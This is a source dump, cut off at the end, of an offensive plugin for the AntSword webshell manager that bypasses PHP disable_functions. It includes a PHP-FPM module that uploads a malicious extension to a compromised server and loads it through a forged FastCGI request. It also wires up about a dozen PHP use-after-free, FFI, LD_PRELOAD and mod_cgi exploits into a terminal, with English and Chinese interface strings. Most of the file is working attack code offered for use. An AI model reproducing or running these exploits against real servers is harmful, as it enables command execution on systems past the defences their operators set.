130 | let self = this; 131 | self.core = self.top.core; 132 | let binary = '/bin/sh' 133 | if(self.top.infodata.os.toLowerCase().startsWith('win')) { 134 | binary = 'cmd' 135 | } 136 | new antSword.module.terminal(self.top.opt, { 137 | exec: (arg = { 138 | bin: binary, 139 | cmd: '' 140 | }) => { 141 | return { 142 | _: PHP_CONCAT_UAF_EXP(arg['bin'], arg['cmd']), 143 | } 144 | } 145 | }); 146 | } 147 | } 148 | 149 | function references(name, value) { 150 | let refs = { 151 | "PHP 7.3-8.1 disable_functions bypass [concat_function]": "https://github.com/mm0r1/exploits/tree/master/php-concat-bypass", 152 | "Bug #81705 type confusion/UAF on set_error_handler with concat operation": "https://bugs.php.net/bug.php?id=81705", 153 | }; 154 | let ret = ""; 155 | Object.keys(refs).map((k) => { 156 | ret += `
  • ${k}
  • `; 157 | }) 158 | return ``; 159 | } 160 | 161 | module.exports = PHP_Concat_UAF; -------------------------------------------------------------------------------- /core/php_fpm/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | const { 7 | FastCgiClient 8 | } = require('../../payload'); 9 | let PHP_FPM_LANG = LANG['core']['php_fpm']; 10 | 11 | class PHP_FPM extends Base { 12 | /** 13 | * 14 | * @param {dhtmlxObject} cell 组件 15 | * @param {Object} top 上层对象 16 | */ 17 | constructor(cell, top) { 18 | super(cell, top); 19 | if (this.precheck() == false) { 20 | return; 21 | } 22 | this.form = this.createForm(this.cell); 23 | } 24 | 25 | // 提前检测 26 | precheck() { 27 | let self = this; 28 | let infodata = self.top.infodata; 29 | // if (infodata.os.toLowerCase() !== "linux" ) { 30 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 31 | // return false; 32 | // } 33 | return true; 34 | } 35 | 36 | createForm(cell) { 37 | let self = this; 38 | let form = cell.attachForm([{ 39 | type: 'settings', 40 | position: 'label-left', 41 | labelWidth: 100, 42 | inputWidth: 300, 43 | }, { 44 | type: 'block', 45 | inputWidth: 'auto', 46 | list: [{ 47 | type: 'label', 48 | label: PHP_FPM_LANG['title'] 49 | }, 50 | { 51 | type: 'combo', 52 | label: PHP_FPM_LANG['form']['fpm_addr'], 53 | labelWidth: 300, 54 | name: 'fpm_addr', 55 | required: true, 56 | options: (() => { 57 | let vals = [ 58 | 'unix:///var/run/php5-fpm.sock', 59 | 'unix:///var/run/php/php5-fpm.sock', 60 | 'unix:///var/run/php-fpm/php5-fpm.sock', 61 | 'unix:///var/run/php/php7-fpm.sock', 62 | '/var/run/php/php7.2-fpm.sock', 63 | '/usr/local/var/run/php7.3-fpm.sock', 64 | 'localhost:9000', 65 | '127.0.0.1:9000', 66 | ]; 67 | let ret = []; 68 | vals.map((_) => { 69 | ret.push({ 70 | text: _, 71 | value: _ 72 | }); 73 | }); 74 | return ret; 75 | })() 76 | }, 77 | { 78 | type: 'combo', 79 | label: PHP_FPM_LANG['form']['phpbinary'], 80 | labelWidth: 300, 81 | name: 'phpbinary', 82 | required: true, 83 | options: (() => { 84 | let vals = [ 85 | 'php', 86 | 'php.exe', 87 | '/usr/bin/php', 88 | 'C:/php/php.exe' 89 | ]; 90 | let ret = []; 91 | vals.map((_) => { 92 | ret.push({ 93 | text: _, 94 | value: _ 95 | }); 96 | }); 97 | return ret; 98 | })() 99 | }, { 100 | type: 'combo', 101 | label: PHP_FPM_LANG['form']['webroot'], 102 | labelWidth: 300, 103 | name: 'webrootdir', 104 | required: true, 105 | options: (() => { 106 | let vals = [ 107 | self.top.infodata.phpself, 108 | self.top.infodata.shell_dir, 109 | self.top.infodata.temp_dir, 110 | ]; 111 | let ret = []; 112 | vals.map((_) => { 113 | ret.push({ 114 | text: _, 115 | value: _ 116 | }); 117 | }); 118 | return ret; 119 | })() 120 | } 121 | ] 122 | }, 123 | { 124 | type: 'block', 125 | labelWidth: 100, 126 | inputWidth: 'auto', 127 | className: "display: flex;flex-direction: row;align-items: center;", 128 | list: [{ 129 | type: 'label', 130 | label: '', 131 | name: 'status_label' 132 | }, { 133 | type: 'newcolumn', 134 | offset: 20 135 | }, { 136 | type: 'label', 137 | label: '', 138 | name: 'status_msg' 139 | }, ] 140 | }, { 141 | type: 'block', 142 | inputWidth: 'auto', 143 | list: [{ 144 | type: 'template', 145 | label: "Reference", 146 | style: "width:100%;", 147 | format: references 148 | }, ] 149 | } 150 | ], true); 151 | 152 | return form; 153 | } 154 | 155 | // 执行EXP, 必须有这个函数 156 | exploit() { 157 | let self = this; 158 | let fpm_host = ''; 159 | let fpm_port = -1; 160 | let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000 161 | if (self.form.validate()) { 162 | self.cell.progressOn(); 163 | let core = self.top.core; 164 | let formvals = self.form.getValues(); 165 | let phpbinary = formvals['phpbinary']; 166 | let webrootdir = formvals['webrootdir']; 167 | formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase(); 168 | if (formvals['fpm_addr'].startsWith('unix:')) { 169 | fpm_host = formvals['fpm_addr']; 170 | } else if (formvals['fpm_addr'].startsWith('/')) { 171 | fpm_host = `unix://${formvals['fpm_addr']}` 172 | } else { 173 | fpm_host = formvals['fpm_addr'].split(':')[0] || ''; 174 | fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0; 175 | } 176 | // 生成 ext 177 | let wdir = ""; 178 | if (self.isOpenBasedir) { 179 | for (var v in self.top.infodata.open_basedir) { 180 | if (self.top.infodata.open_basedir[v] == 1) { // 目录可写 181 | if (v == self.top.infodata.phpself) { 182 | wdir = v; 183 | } else { 184 | wdir = v; 185 | } 186 | break; 187 | } 188 | }; 189 | } else { 190 | wdir = self.top.infodata.temp_dir; 191 | } 192 | let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`; 193 | let fileBuffer = self.generateExt(cmd); 194 | if (!fileBuffer) { 195 | toastr.warning(PHP_FPM_LANG['msg']['genext_err'], LANG_T["warning"]); 196 | self.cell.progressOff(); 197 | return 198 | } 199 | 200 | new Promise((res, rej) => { 201 | var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`; 202 | // 上传 ext 203 | core.request( 204 | core.filemanager.upload_file({ 205 | path: ext_path, 206 | content: fileBuffer 207 | }) 208 | ).then((response) => { 209 | var ret = response['text']; 210 | if (ret === '1') { 211 | toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']); 212 | res(ext_path); 213 | } else { 214 | rej("upload extension fail"); 215 | } 216 | }).catch((err) => { 217 | rej(err) 218 | }); 219 | }).then((p) => { 220 | // 触发 payload, 会超时 221 | var payload = `${FastCgiClient()}; 222 | $content=""; 223 | $client = new Client('${fpm_host}',${fpm_port}); 224 | $client->request(array( 225 | 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 226 | 'REQUEST_METHOD' => 'POST', 227 | 'SERVER_SOFTWARE' => 'php/fcgiclient', 228 | 'REMOTE_ADDR' => '127.0.0.1', 229 | 'REMOTE_PORT' => '9984', 230 | 'SERVER_ADDR' => '127.0.0.1', 231 | 'SERVER_PORT' => '80', 232 | 'SERVER_NAME' => 'mag-tured', 233 | 'SERVER_PROTOCOL' => 'HTTP/1.1', 234 | 'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 235 | 'PHP_VALUE' => 'extension=${p}', 236 | 'PHP_ADMIN_VALUE' => 'extension=${p}', 237 | 'CONTENT_LENGTH' => strlen($content) 238 | ), 239 | $content 240 | ); 241 | sleep(1); 242 | echo(1); 243 | `; 244 | core.request({ 245 | _: payload, 246 | }).then((response) => { 247 | 248 | }).catch((err) => { 249 | // 超时也是正常 250 | }) 251 | }).then(() => { 252 | // 验证是否成功开启 253 | var payload = `sleep(1); 254 | $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1); 255 | if(!$fp){ 256 | echo(0); 257 | }else{ 258 | echo(1); 259 | @fclose($fp); 260 | };` 261 | core.request({ 262 | _: payload, 263 | }).then((response) => { 264 | var ret = response['text']; 265 | if (ret === '1') { 266 | toastr.success(LANG['success'], LANG_T['success']); 267 | self.form.setItemLabel('status_label', `New WebServer Listen`); 268 | self.form.setItemLabel('status_msg', `127.0.0.1:${port}`); 269 | self.uploadProxyScript("127.0.0.1", port); 270 | self.cell.progressOff(); 271 | } else { 272 | self.cell.progressOff(); 273 | throw ("exploit fail"); 274 | } 275 | }).catch((err) => { 276 | self.cell.progressOff(); 277 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); 278 | }) 279 | }).catch((err) => { 280 | self.cell.progressOff(); 281 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); 282 | }); 283 | } else { 284 | self.cell.progressOff(); 285 | toastr.warning(LANG['form_not_comp'], LANG_T["warning"]); 286 | } 287 | return; 288 | } 289 | } 290 | 291 | function references(name, value) { 292 | let refs = { 293 | "AntSword-Labs/bypass_disable_functions/5": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5/", 294 | "Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 (Author: phithon)": "https://www.leavesongs.com/penetration/fastcgi-and-php-fpm.html", 295 | "Fastcgi配置不当对外开放利用 (Author: Vinc)": "http://vinc.top/2016/11/23/%E3%80%90%E8%BF%90%E7%BB%B4%E5%AE%89%E5%85%A8%E3%80%91fastcgi%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%B9%E5%A4%96%E5%BC%80%E6%94%BE%E5%88%A9%E7%94%A8/", 296 | "PHP-FastCGI-Client (Author: adoy)": "https://github.com/adoy/PHP-FastCGI-Client", 297 | "wofeiwo/fcgi_jailbreak.php": "https://gist.github.com/wofeiwo/4f41381a388accbf91f8", 298 | }; 299 | let ret = ""; 300 | Object.keys(refs).map((k) => { 301 | ret += `
  • ${k}
  • `; 302 | }) 303 | return ``; 304 | } 305 | 306 | module.exports = PHP_FPM; -------------------------------------------------------------------------------- /ext/ant_x32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x32.dll -------------------------------------------------------------------------------- /ext/ant_x32.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x32.so -------------------------------------------------------------------------------- /ext/ant_x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x64.dll -------------------------------------------------------------------------------- /ext/ant_x64.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x64.so -------------------------------------------------------------------------------- /ext/ant_x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x86.dll -------------------------------------------------------------------------------- /ext/ant_x86.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x86.so -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const WIN = require('ui/window'); // 窗口库 4 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 5 | const path = require('path'); 6 | 7 | const { 8 | BaseInfo 9 | } = require('./payload'); 10 | const LANG = require('./language/'); // 插件语言库 11 | 12 | /** 13 | * 插件类 14 | */ 15 | class Plugin { 16 | constructor(opt) { 17 | let self = this; 18 | self.opt = opt; 19 | self.core = new antSword['core'][opt['type']](opt); 20 | self.core_menu = [ 21 | // 新增模式时需要在这里添加 22 | // id 为文件名 23 | { 24 | id: "ld_preload", 25 | icon: 'file-code-o', 26 | type: 'button', 27 | text: "LD_PRELOAD" 28 | }, 29 | { 30 | id: "php_fpm", 31 | icon: 'file-code-o', 32 | type: 'button', 33 | text: "Fastcgi/PHP_FPM" 34 | }, 35 | { 36 | id: "apache_mod_cgi", 37 | icon: 'file-code-o', 38 | type: 'button', 39 | text: "Apache_mod_cgi" 40 | }, 41 | { 42 | id: "json_serializer_uaf", 43 | icon: 'file-code-o', 44 | type: 'button', 45 | text: "JSON_Serializer_UAF" 46 | }, 47 | { 48 | id: "php7_gc_uaf", 49 | icon: 'file-code-o', 50 | type: 'button', 51 | text: "PHP7_GC_UAF" 52 | }, 53 | { 54 | id: "php7_backtrace_uaf", 55 | icon: 'file-code-o', 56 | type: 'button', 57 | text: "PHP7_Backtrace_UAF" 58 | }, 59 | { 60 | id: "php74_ffi", 61 | icon: 'file-code-o', 62 | type: 'button', 63 | text: "PHP74_FFI" 64 | }, 65 | { 66 | id: "iconv", 67 | icon: 'file-code-o', 68 | type: 'button', 69 | text: "iconv" 70 | }, 71 | { 72 | id: "php7_reflectionproperty_uaf", 73 | icon: 'file-code-o', 74 | type: 'button', 75 | text: "PHP7_ReflectionProperty_UAF" 76 | }, 77 | { 78 | id: "php7_userfilter", 79 | icon: 'file-code-o', 80 | type: 'button', 81 | text: "PHP7_UserFilter" 82 | }, 83 | { 84 | id: "php_concat_uaf", 85 | icon: 'file-code-o', 86 | type: 'button', 87 | text: "PHP_Concat_UAF" 88 | }, 89 | ]; 90 | let cores = {}; 91 | self.core_menu.map((_) => { 92 | cores[_.id] = require(`./core/${_.id}/index`); 93 | }); 94 | self.cores = cores; 95 | self.infodata = { 96 | os: "", 97 | arch: "", 98 | ver: "", 99 | shell_name: "", // shell 文件名 100 | phpself: "", 101 | temp_dir: "", 102 | open_basedir: [], 103 | funcs: [], 104 | }; 105 | // 创建一个 window 106 | self.status_check = null; 107 | let win = new WIN({ 108 | title: `${LANG['title']}-${opt['ip']}`, 109 | height: 500, 110 | width: 650, 111 | }); 112 | self.win = win; 113 | self.createToolbar(); 114 | self.layout = win.win.attachLayout('2U'); 115 | self.config_cell = self.createConfigCell(self.layout.cells('a')); 116 | self.status_cell = self.createStatusCell(self.layout.cells('b')); 117 | self.core_instance = null; 118 | self.reloadStatusCell(); 119 | 120 | self.toolbar.attachEvent('onClick', (id) => { 121 | switch (id) { 122 | case 'start': 123 | self.toolbar.disableItem('start'); 124 | try { 125 | self.core_instance.exploit(); 126 | } catch (e) { 127 | toastr.error(JSON.stringify(e), LANG_T['error']); 128 | } 129 | break; 130 | default: 131 | if (self.cores.hasOwnProperty(id)) { 132 | self.core_instance = new self.cores[id](self.config_cell.cell, self); 133 | self.toolbar.enableItem('start'); 134 | } 135 | break; 136 | } 137 | }); 138 | // ######### 上方是具体插件代码,由插件作者编写 ########## 139 | } 140 | 141 | reloadStatusCell() { 142 | let self = this; 143 | self.core.request({ 144 | _: BaseInfo() 145 | }).then((_ret) => { // 处理返回数据 146 | let res = _ret['text']; 147 | if (res.indexOf("ERROR://") > -1) { 148 | throw res; 149 | } else if (res != "") { 150 | res = antSword.unxss(res, false); 151 | self.infodata = Object.assign(self.infodata, JSON.parse(res)); 152 | self.status_cell = self.createStatusCell(self.layout.cells('b')); 153 | } 154 | }).catch((err) => { // 处理异常数据 155 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); 156 | }); 157 | } 158 | 159 | createStatusCell(cell) { 160 | let self = this; 161 | cell.setWidth(220); 162 | cell.fixSize(1, 0); 163 | cell.setText(` ${LANG['status_cell']['title']}`); 164 | let form = cell.attachForm([{ 165 | type: 'settings', 166 | position: 'label-left', 167 | labelWidth: 80, 168 | }, { 169 | type: 'block', 170 | inputWidth: 'auto', 171 | list: [{ 172 | type: 'settings', 173 | blockOffset: 0, 174 | labelAlign: "left" 175 | }, 176 | { 177 | type: "label", 178 | label: `${LANG['status_cell']['ver']}` 179 | }, 180 | { 181 | type: "label", 182 | label: `${LANG['status_cell']['arch']}` 183 | }, 184 | { 185 | type: "label", 186 | label: `${LANG['status_cell']['os']}` 187 | }, 188 | { 189 | type: "label", 190 | label: `${LANG['status_cell']['phpself']}` 191 | }, 192 | { 193 | type: "label", 194 | label: `${LANG['status_cell']['shell_dir']}` 195 | }, 196 | { 197 | type: "newcolumn" 198 | }, 199 | { 200 | type: "label", 201 | name: "ver", 202 | label: `${antSword.noxss(self.infodata["ver"])}` 203 | }, 204 | { 205 | type: "label", 206 | name: "arch", 207 | label: `${antSword.noxss(self.infodata["arch"])}` 208 | }, 209 | { 210 | type: "label", 211 | name: "os", 212 | label: `${antSword.noxss(self.infodata["os"])}` 213 | }, 214 | { 215 | type: "label", 216 | name: "phpself", 217 | label: `${antSword.noxss(self.infodata["phpself"])}` 218 | }, 219 | { 220 | type: "label", 221 | name: "shell_dir", 222 | label: `${antSword.noxss(self.infodata["shell_dir"])}` 223 | }, 224 | ] 225 | }, 226 | { 227 | type: 'fieldset', 228 | blockOffset: 0, 229 | label: "open_basedir", 230 | width: "auto", 231 | name: "open_basedir", 232 | list: (() => { 233 | let ret = []; 234 | Object.keys(self.infodata.open_basedir).map((v) => { 235 | if (self.infodata.open_basedir[v] == 1) { 236 | ret.push({ 237 | type: "label", 238 | label: `${antSword.noxss(v)}` 239 | }); 240 | } else { 241 | ret.push({ 242 | type: "label", 243 | label: `${antSword.noxss(v)}` 244 | }); 245 | } 246 | }); 247 | return ret; 248 | })() 249 | }, 250 | { 251 | type: 'fieldset', 252 | blockOffset: 0, 253 | label: LANG['status_cell']['func'], 254 | width: "auto", 255 | name: "funcs", 256 | list: (() => { 257 | let ret = []; 258 | Object.keys(self.infodata.funcs).map((v) => { 259 | let status = ""; 260 | if (self.infodata.funcs[v] == 1) { 261 | status = ""; 262 | } else { 263 | status = "x"; 264 | } 265 | ret.push({ 266 | type: "label", 267 | labelWidth: 150, 268 | label: `${antSword.noxss(v)} ${status}` 269 | }); 270 | }); 271 | return ret; 272 | })() 273 | } 274 | ], true); 275 | return { 276 | cell: cell, 277 | form: form, 278 | } 279 | } 280 | 281 | createToolbar() { 282 | let self = this; 283 | let toolbar = self.win.win.attachToolbar(); 284 | toolbar.loadStruct([{ 285 | id: 'new', 286 | type: 'buttonSelect', 287 | icon: 'plus-circle', 288 | openAll: true, 289 | text: LANG['toolbar']['select_mode'], 290 | options: self.core_menu, 291 | }, { 292 | id: 'start', 293 | type: 'button', 294 | text: LANG['toolbar']['start'], 295 | icon: 'play', 296 | enabled: false, 297 | }, ]); 298 | self.toolbar = toolbar; 299 | } 300 | createConfigCell(cell) { 301 | let self = this; 302 | cell.hideHeader(); 303 | cell.attachHTMLString(` 304 |
    305 |

    ${LANG['no_mode']}

    306 |
    307 | `); 308 | return { 309 | cell: cell, 310 | toolbar: toolbar, 311 | } 312 | } 313 | } 314 | 315 | module.exports = Plugin; -------------------------------------------------------------------------------- /language/en.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | title: "Bypass disable_functions", 3 | success: "Success", 4 | error: "Fail", 5 | no_mode: "Click on the button above, select the mode", 6 | form_not_comp: "Please complete the form", 7 | toolbar: { 8 | start: "Start", 9 | select_mode: "SelectMode", 10 | }, 11 | status_cell: { 12 | title: "Shell Status", 13 | ver: "PHP Version", 14 | arch: "PHP Arch", 15 | os: "OS", 16 | phpself: "Current directory", 17 | func: "Function support", 18 | shell_dir: "Shell directory", 19 | }, 20 | precheck: { 21 | only_linux: "Only supports Linux operating system", 22 | only_win: "Only supports Windows operating system", 23 | require_func: (func) => `${func} function is not available`, 24 | }, 25 | core: { 26 | base: { 27 | proxyscript: { 28 | success: (url) => `Upload proxy script succeeded: ${url}`, 29 | fail: "Upload proxy script failed", 30 | } 31 | }, 32 | ld_preload: { 33 | title: "LD_PRELOAD", 34 | form: { 35 | phpbinary: 'php-cli Path (PHP>=5.3)', 36 | webroot: 'New WebServer WebRootDir', 37 | }, 38 | msg: { 39 | genext_err: "Generate PHP extension failed", 40 | } 41 | }, 42 | php_fpm: { 43 | title: "Fastcgi/PHP-FPM", 44 | form: { 45 | fpm_addr: 'FPM/FCGI Address', 46 | phpbinary: 'php-cli Path (PHP>=5.3)', 47 | webroot: 'New WebServer WebRootDir', 48 | }, 49 | msg: { 50 | genext_err: "Generate PHP extension failed", 51 | } 52 | }, 53 | apache_mod_cgi: { 54 | title: "Apache_mod_cgi", 55 | status_cell: { 56 | modcgi: "CGI", 57 | writable: "Writeable", 58 | htaccess: "htaccess", 59 | } 60 | }, 61 | json_serializer_uaf: { 62 | title: "Json Serializer UAF", 63 | status_cell: { 64 | ver: 'PHP_VERSION', 65 | }, 66 | err: { 67 | phpvererr: "PHP Version not support, only support 7.1.x, 7.2.0~7.2.18, 7.3.0~7.3.5" 68 | } 69 | }, 70 | php7_gc_uaf: { 71 | title: "PHP7 GC with Certain Destructors UAF", 72 | status_cell: { 73 | ver: 'PHP_VERSION', 74 | }, 75 | err: { 76 | phpvererr: "PHP Version not support, only support 7.0.x, 7.1.x, 7.2.x, 7.3.x" 77 | } 78 | }, 79 | php7_backtrace_uaf: { 80 | title: "PHP7 Backtrace UAF", 81 | status_cell: { 82 | ver: 'PHP_VERSION', 83 | }, 84 | err: { 85 | phpvererr: "PHP Version not support, only support 7.0.x, 7.1.x, 7.2.x, 7.3.0~7.3.14, 7.4.0~7.4.2" 86 | } 87 | }, 88 | php74_ffi: { 89 | title: "PHP>=7.4 FFI Extension Execute Command", 90 | status_cell: { 91 | ver: 'PHP_VERSION', 92 | ffi: 'FFI_Extension', 93 | ffi_enable: 'FFI Enable', 94 | }, 95 | err: { 96 | phpvererr: "PHP Version not support, need PHP>=7.4", 97 | ffi_not_loaded: "FFI Extension not loaded", 98 | ffi_not_enable: "ffi.enabled not On, can not exploit. default is preload(only call ffi in php-cli and preload)", 99 | } 100 | }, 101 | iconv: { 102 | title: "iconv modules Execute Command", 103 | form: { 104 | phpbinary: 'php-cli Path (PHP>=5.3)', 105 | webroot: 'New WebServer WebRootDir', 106 | }, 107 | msg: { 108 | genext_err: "Generate PHP extension failed", 109 | } 110 | }, 111 | php7_reflectionproperty_uaf: { 112 | title: "PHP<=7.4.8 ReflectionProperty UAF", 113 | status_cell: { 114 | ver: 'PHP_VERSION', 115 | }, 116 | err: { 117 | phpvererr: "PHP Version not support, need <=7.4.8 ", 118 | } 119 | }, 120 | php7_userfilter: { 121 | title: "PHP 7.0-8.0 disable_functions bypass [user_filter]", 122 | status_cell: { 123 | ver: 'PHP_VERSION', 124 | }, 125 | err: { 126 | phpvererr: "PHP Version not support, only support 7.0.x, 7.1.x, 7.2.x, 7.3.x, 7.4.x, 8.0.x" 127 | } 128 | }, 129 | php_concat_uaf: { 130 | title: "PHP 7.3-8.1 disable_functions bypass [concat_function]", 131 | status_cell: { 132 | ver: 'PHP_VERSION', 133 | }, 134 | err: { 135 | phpvererr: "PHP Version not support, only support 7.3.x, 7.4.x, 8.0.x, 8.1.x" 136 | } 137 | }, 138 | } 139 | } -------------------------------------------------------------------------------- /language/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const languages = { 4 | 'en': 'English', 5 | 'zh': '简体中文' 6 | } 7 | 8 | // 获取本地设置语言(如若没有,则获取浏览器语言 9 | let lang = antSword['storage']('language', 10 | false, 11 | navigator.language.substr(0,2) 12 | ); 13 | 14 | // 判断本地设置语言是否符合语言模板 15 | lang = languages[lang] ? lang : 'en'; 16 | 17 | // 返回语言模板 18 | let langModule = require(`./${lang}`); 19 | langModule.__languages__ = languages; 20 | 21 | module.exports = langModule; 22 | -------------------------------------------------------------------------------- /language/zh.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | title: "绕过 disable_functions", 3 | success: "操作成功", 4 | error: "操作失败", 5 | no_mode: "请点击上方按钮,选择模式", 6 | form_not_comp: "请填写完整", 7 | toolbar: { 8 | start: "开始", 9 | select_mode: "选择模式", 10 | }, 11 | status_cell: { 12 | title: "Shell状态", 13 | ver: "PHP版本", 14 | arch: "PHP位数", 15 | os: "操作系统", 16 | phpself: "当前目录", 17 | func: "函数支持", 18 | shell_dir: "Shell目录", 19 | }, 20 | precheck: { 21 | only_linux: "仅支持Linux操作系统", 22 | only_win: "仅支持Windows操作系统", 23 | require_func: (func) => `${func} 函数不可用`, 24 | }, 25 | core: { 26 | base: { 27 | proxyscript: { 28 | success: (url) => `上传代理脚本成功: ${url}`, 29 | fail: "上传代理脚本失败", 30 | } 31 | }, 32 | ld_preload: { 33 | title: "LD_PRELOAD", 34 | form: { 35 | phpbinary: 'php路径(PHP>=5.3, 并非当前运行的shell php)', 36 | webroot: '启动的WebServer根目录', 37 | }, 38 | msg: { 39 | genext_err: "生成PHP扩展失败", 40 | } 41 | }, 42 | php_fpm: { 43 | title: "Fastcgi/PHP-FPM", 44 | form: { 45 | fpm_addr: 'FPM/FCGI 地址', 46 | phpbinary: 'php路径(PHP>=5.3, 并非当前运行的shell php)', 47 | webroot: '启动的WebServer根目录', 48 | }, 49 | msg: { 50 | genext_err: "生成PHP扩展失败", 51 | } 52 | }, 53 | apache_mod_cgi: { 54 | title: "Apache_mod_cgi", 55 | status_cell: { 56 | modcgi: "CGI支持", 57 | writable: "当前目录可写", 58 | htaccess: "htaccess支持", 59 | } 60 | }, 61 | json_serializer_uaf: { 62 | title: "Json Serializer UAF", 63 | status_cell: { 64 | ver: 'PHP版本', 65 | }, 66 | err: { 67 | phpvererr: "PHP 版本不符, 仅支持 7.1.x, 7.2.0~7.2.18, 7.3.0~7.3.5" 68 | } 69 | }, 70 | php7_gc_uaf: { 71 | title: "PHP7 GC with Certain Destructors UAF", 72 | status_cell: { 73 | ver: 'PHP版本', 74 | }, 75 | err: { 76 | phpvererr: "PHP 版本不符, 仅支持 7.0.x, 7.1.x, 7.2.x, 7.3.x" 77 | } 78 | }, 79 | php7_backtrace_uaf: { 80 | title: "PHP7 Backtrace UAF", 81 | status_cell: { 82 | ver: 'PHP版本', 83 | }, 84 | err: { 85 | phpvererr: "PHP 版本不符, 仅支持 7.0.x, 7.1.x, 7.2.x, 7.3.0~7.3.14, 7.4.0~7.4.2" 86 | } 87 | }, 88 | php74_ffi: { 89 | title: "PHP>=7.4 FFI扩展执行命令", 90 | status_cell: { 91 | ver: 'PHP版本', 92 | ffi: 'FFI扩展', 93 | ffi_enable: 'FFI Enable', 94 | }, 95 | err: { 96 | phpvererr: "PHP 版本不符, 必须 7.4 以上", 97 | ffi_not_loaded: "未开启FFI扩展", 98 | ffi_not_enable: "ffi.enabled 未设置为 On, 不能利用.默认为 preload(仅允许在 php-cli 和 preload 中使用)", 99 | } 100 | }, 101 | iconv: { 102 | title: "iconv modules 执行命令", 103 | form: { 104 | phpbinary: 'php路径(PHP>=5.3, 并非当前运行的shell php)', 105 | webroot: '启动的WebServer根目录', 106 | }, 107 | msg: { 108 | genext_err: "生成PHP扩展失败", 109 | } 110 | }, 111 | php7_reflectionproperty_uaf: { 112 | title: "PHP<=7.4.8 ReflectionProperty UAF", 113 | status_cell: { 114 | ver: 'PHP版本', 115 | }, 116 | err: { 117 | phpvererr: "PHP 版本不符, 必须 7.4.8 以下", 118 | } 119 | }, 120 | php7_userfilter: { 121 | title: "PHP 7.0-8.0 disable_functions bypass [user_filter]", 122 | status_cell: { 123 | ver: 'PHP版本', 124 | }, 125 | err: { 126 | phpvererr: "PHP 版本不符, 仅支持 7.0.x, 7.1.x, 7.2.x, 7.3.x, 7.4.x, 8.0.x" 127 | } 128 | }, 129 | php_concat_uaf: { 130 | title: "PHP 7.3-8.1 disable_functions bypass [concat_function]", 131 | status_cell: { 132 | ver: 'PHP版本', 133 | }, 134 | err: { 135 | phpvererr: "PHP 版本不符, 仅支持 7.3.x, 7.4.x, 8.0.x, 8.1.x" 136 | } 137 | }, 138 | } 139 | } -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "绕过disable_functions", 3 | "name_en": "Bypass disable_functions", 4 | "main": "index.js", 5 | "icon": "legal", 6 | "version": "0.15", 7 | "description": "突破disable_function执行命令, 使用php-cli在目标本地开启web服务, 再由原有web代理到该web服务上", 8 | "description_en": "突破disable_function执行命令", 9 | "author": { 10 | "name": "Medicean & howmp", 11 | "email": "Medici.Yan@gmail.com" 12 | }, 13 | "category": "辅助工具", 14 | "category_en": "Support", 15 | "multiple": false, 16 | "scripts": [ 17 | "php", 18 | "php4", 19 | "phpraw" 20 | ] 21 | } -------------------------------------------------------------------------------- /payload.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | FastCgiClient: () => { 3 | return `class TimedOutException extends \\Exception {} 4 | class ForbiddenException extends \\Exception {} 5 | class Client { 6 | const VERSION_1 = 1; 7 | const BEGIN_REQUEST = 1; 8 | const ABORT_REQUEST = 2; 9 | const END_REQUEST = 3; 10 | const PARAMS = 4; 11 | const STDIN = 5; 12 | const STDOUT = 6; 13 | const STDERR = 7; 14 | const DATA = 8; 15 | const GET_VALUES = 9; 16 | const GET_VALUES_RESULT = 10; 17 | const UNKNOWN_TYPE = 11; 18 | const MAXTYPE = self::UNKNOWN_TYPE; 19 | const RESPONDER = 1; 20 | const AUTHORIZER = 2; 21 | const FILTER = 3; 22 | const REQUEST_COMPLETE = 0; 23 | const CANT_MPX_CONN = 1; 24 | const OVERLOADED = 2; 25 | const UNKNOWN_ROLE = 3; 26 | const MAX_CONNS = 'MAX_CONNS'; 27 | const MAX_REQS = 'MAX_REQS'; 28 | const MPXS_CONNS = 'MPXS_CONNS'; 29 | const HEADER_LEN = 8; 30 | const REQ_STATE_WRITTEN = 1; 31 | const REQ_STATE_OK = 